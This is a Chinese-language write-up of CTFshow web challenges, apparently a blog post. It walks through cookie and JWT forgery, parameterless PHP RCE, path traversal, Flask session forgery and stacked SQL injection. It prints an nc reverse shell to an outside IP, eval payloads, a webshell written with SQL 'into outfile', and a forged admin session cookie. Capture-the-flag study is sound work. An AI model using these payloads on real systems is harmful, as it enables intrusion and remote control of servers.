第一章 Base64编码隐藏 f12查看到base64编码的密码,登陆进去后拿到flag.
HTTP头注入 f12发现密码登录后按提示改ua。
Cookie伪造 直接弱口令guest登录,然后cookie改role为admin即可。
第二章 反弹shell构造 使用nc反弹shell:nc -e /bin/sh 20.18.226.90 4444 然后在本地监听4444端口:nc -lvp 4444
一句话木马变形 这里发现不能用空格了很难办。学习大佬wp发现可以用用到无参RCE ,也就顺便学习一下:
下面是php中一些文件操作之类的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 scandir () :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob ()可替换)localeconv () :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)current () :返回数组中的单元,默认取第一个值。pos ()和current ()是同一个东西getcwd () :取得当前工作目录dirname () :函数返回路径中的目录部分array_flip () :交换数组中的键和值,成功时返回交换后的数组array_rand () :从数组中随机取出一个或多个单元array_reverse () :将数组内容反转strrev () :用于反转给定字符串chdir () :函数改变当前的目录。eval () 、assert ():命令执行hightlight_file () 、show_source ()、readfile ():读取文件内容
数组相关函数:
1 2 3 4 5 end () : 将内部指针指向数组中的最后一个元素,并输出next () :将内部指针指向数组中的下一个元素,并输出prev () :将内部指针指向数组中的上一个元素,并输出reset () : 将内部指针指向数组中的第一个元素,并输出each () : 返回当前元素的键名和键值,并将内部指针向前移动`
payload:
1 2 3 /?1 =system ("ls"); code=eval(end (current (get_defined_vars())));
下面给出解释:get_defined_vars()会给出一个二维数组里面会有get和post参数,再通过current拿到第一个GET参数数组,然后end取下元素,最终eval执行。
RCE篇之无参数rce - 学安全的小白 - 博客园
反弹shell构造 管道符绕过过滤 无字母数字代码执行 无字母数字命令执行 第三章 弱口令爆破 用提供的字典爆破就行。
JWT令牌伪造 根据提示,考的是none空加密算法。 直接在线修改为none,然后admin修改为true即可。
日志文件包含 php://filter读取源码 路径遍历突破 先查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 <!DOCTYPE html> <html lang="zh-CN" > <head> <meta charset="UTF-8" > <title>CTFshow 文件管理助手</title> <meta name="viewport" content="width=device-width, initial-scale=1.0" > <style> body { background: linear-gradient (135 deg, #232526 0 %, #414345 100 %); color: font-family: 'Fira Mono' , 'Consolas' , monospace; margin: 0 ; padding: 0 ; } .container { max-width: 700 px; margin: 40 px auto; background: rgba (30 , 30 , 40 , 0.95 ); border-radius: 18 px; box-shadow: 0 0 30 px padding: 32 px 36 px 36 px 36 px; } h1 { text-align: center; font-size: 2.5 em; letter-spacing: 2 px; color: text-shadow: 0 0 10 px margin-bottom: 28 px; } form { display: flex; gap: 10 px; margin-bottom: 22 px; } input[type="text" ] { flex: 1 ; padding: 12 px; border-radius: 8 px; border: none; background: color: font-size: 1.1 em; outline: none; box-shadow: 0 0 8 px transition: box-shadow 0.2 s; } input[type="text" ]:focus { box-shadow: 0 0 16 px } button { padding: 12 px 28 px; border-radius: 8 px; border: none; background: linear-gradient (90 deg, #00 ffe7 0 %, #007 cf0 100 %); color: font-size: 1.1 em; font-weight: bold; cursor: pointer; box-shadow: 0 0 10 px transition: background 0.2 s, color 0.2 s; } button:hover { background: linear-gradient (90 deg, #007 cf0 0 %, #00 ffe7 100 %); color: } .browser-window { background: border-radius: 12 px; box-shadow: 0 0 16 px padding: 0 ; min-height: 350 px; margin-top: 10 px; overflow: auto; position: relative; } .browser-bar { background: border-radius: 12 px 12 px 0 0 ; padding: 8 px 16 px; display: flex; align-items: center; gap: 8 px; } .dot { width: 10 px; height: 10 px; border-radius: 50 %; display: inline-block; } .dot.red { background: .dot.yellow { background: .dot.green { background: .browser-content { padding: 18 px 22 px; color: min-height: 300 px; font-size: 1.08 em; font-family: 'Fira Mono' , 'Consolas' , monospace; word-break : break -all; } .footer { text-align: center; margin-top: 30 px; color: font-size: 0.95 em; letter-spacing: 1 px; } @media (max-width : 800 px) { .container { padding: 16 px 4 vw 24 px 4 vw; } .browser-content { padding: 10 px 4 vw; } } </style> <link href="https://fonts.googleapis.com/css?family=Fira+Mono:400,700&display=swap" rel="stylesheet" > </head> <body> <div class ="container "> <h1 >CTFshow 文件管理助手</h1 > <form method ="get " autocomplete ="off "> <input type ="text " name ="path " placeholder ="请输入要读取的文件名称" value ="<?php echo isset ($_GET ['path ']) ? htmlspecialchars ($_GET ['url ']) : ''; ?>"> <button type ="submit ">读取</button > </form > <div class ="browser -window "> <div class ="browser -bar "> <span class ="dot red "></span > <span class ="dot yellow "></span > <span class ="dot green "></span > <span style ="margin -left : 18px ; color : #00ffe7 ; font -size : 1em ;"> <?php echo isset ($_GET ['path ']) ? htmlspecialchars ($_GET ['path ']) : 'test .txt '; ?> </span > </div > <div class ="browser -content "> <?php if (isset ($_GET ['path ']) && $_GET ['path '] !== '') {$path = $_GET ['path' ];if (preg_match ('/data|log|access|pear|tmp|zlib|filter|:/' , $path ) ){echo '<span style="color:#f00;">禁止访问敏感目录或文件</span>' ;exit ;} if (preg_match ('/^(\.|\/)/' , $path )){echo '<span style="color:#f00;">禁止以/或者../开头的文件名</span>' ;exit ;} echo $path ."内容为:\n" ;echo str_replace ("\n" , "<br>" , htmlspecialchars (file_get_contents ($path )));} else { echo '<span style="color:#888;">目标flag文件为/flag.txt</span>' ;} ?> </div> </div> <div class ="footer "> <span >? Powered by <a href ="https ://ctf .show " target ="_blank ">ctfshow </a ></span > </div > </div >
正则匹配禁止掉了.和/开头的路径,那要怎么读取到根目录下的文件呢?。。。。
我们可以先给出一个不存在的目录放在开头,然后再路径穿越。
第四章 Flask_Session伪造 进去之后read路由有文件包含,尝试读取了源码/app/app.py.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import re, random, uuid, urllib.requestfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*100 ) print (app.config['SECRET_KEY' ])app.debug = False @app.route('/' ) def index (): session['username' ] = 'guest' return 'CTFshow 网页爬虫系统 <a href="/read?url=https://baidu.com">读取网页</a>' @app.route('/read' ) def read (): try : url = request.args.get('url' ) if re.findall('flag' , url, re.IGNORECASE): return '禁止访问' res = urllib.request.urlopen(url) return res.read().decode('utf-8' , errors='ignore' ) except Exception as ex: print (str (ex)) return '无读取内容可以展示' @app.route('/flag' ) def flag (): if session.get('username' ) == 'admin' : return open ('/flag.txt' , encoding='utf-8' ).read() else : return '访问受限' if __name__=='__main__' : app.run( debug=False , host="0.0.0.0" )
发现SECRET_KEY有用到random库,应该是伪随机固定数值。uuid.getnode()用于获取当前机器的MAC地址,作为随机数种子的一部分。
1 2 3 4 5 uuid .getnode()获取硬件的地址并以48 位二进制长度的正整数形式返回,这里所说的硬件地址是指网络接口的MAC 地址,如果一个机器有多个网络接口,可能返回其中的任一个。如果获取失败,将按照RFC 4122 的规定 将随机返回的48 位二进制整数的第8 位设置成1 。
读取/sys/class/net/eth0/address 获得mac地址,然后脚本处理一下:
1 2 3 4 5 6 7 8 9 10 11 12 import randommac = "c6:bc:6b:39:0a:98" temp = mac.split(':' ) temp = [int (i,16 ) for i in temp] temp = [bin (i).replace('0b' ,'' ).zfill(8 ) for i in temp] temp = '' .join(temp) mac = int (temp,2 ) random.seed(mac) randStr = str (random.random()*233 ) print (randStr)
之后用得到的私钥伪造session:
1 2 3 4 5 E:\myCTFTools \WebTools \flask -session -cookie -manager -master > eyJ1c2VybmFtZSI6Imd1ZXN0In0.aLcPtA.hTVLWpwcdv41tb8x22PNx89NEE4 b '{"username ":"guest "}'E :\myCTFTools \WebTools \flask -session -cookie -manager -master >python flask_session_cookie_manager3.py encode -t "{'username ':'admin '}" -s "7.028160380236292"eyJ1c2VybmFtZSI6ImFkbWluIn0.aLcYIg.unDeF5MceMaqC8PwOr9qsWEG0Es
最后访问/flag路由,成功获取flag。
第五章 堆叠注入写shell 刚开始fuzz,发现%5c有不一样的回显,但不明白只是什么东西,直到看到其他师傅wp才反应过来是注释符发力了(
想到常见的后台查询语句:$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
应该是username的单引号被转义掉了,
username=\&password=or 1=1;select "<?php @eval($_POST['cmd']);?>" into outfile "/var/www/html/2.php";#
然后蚁剑链接即可,注意需要把链接改成http,不然连不上。